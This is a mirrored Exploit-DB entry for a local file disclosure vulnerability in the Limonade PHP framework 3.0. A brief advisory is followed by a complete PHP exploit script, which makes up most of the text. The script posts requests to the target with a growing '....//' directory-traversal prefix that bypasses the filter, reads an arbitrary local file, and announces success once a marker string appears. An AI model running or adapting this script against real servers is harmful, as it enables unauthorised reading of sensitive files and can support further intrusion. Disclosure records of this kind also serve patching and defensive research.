Limonade Framework – ‘limonade.php’ Local File Disclosure - 体验盒子

作者： Yashar shahinzadeh

日期： 2013-11-17

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/38828/

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source: https://www.securityfocus.com/bid/63771/info

Limonade framework is prone to a local file-disclosure vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to obtain sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

Limonade framework 3.0 vulnerable; other versions may also be affected.

<?php

/** To prevent of time out **/

set_time_limit(0);

/** Error reporting **/

error_reporting(0);

/** Necessary variables **/

$url = $argv[1];

$data = $argv[2];

$needle = $argv[3];

/** Curl function with appropriate adjustments **/

function CurlPost($url='localhost',$data=array())

{

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,$url);

curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);

curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);

curl_setopt($ch,CURLOPT_HEADER,1);

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

curl_setopt($ch,CURLOPT_TIMEOUT,50);

curl_setopt($ch,CURLOPT_POST,true);

curl_setopt($ch,CURLOPT_POSTFIELDS,$data);

return curl_exec($ch);

curl_close($ch);

}

list($param,$file) = explode(':',$data);

$FilterBypassing = '....//';

for($i=0;$i<10;$i++)

{

$DataToPost[$param] = $FilterBypassing.$file;

$response = CurlPost($url,$DataToPost);

if(strstr($response,$needle)!==FALSE)

{

echo $response;

echo "\n\nExploited successfully!\n";

echo 'Payload: ',$DataToPost[$param],"\n\n\n";

die();

}

$FilterBypassing .= '....//';

}

?>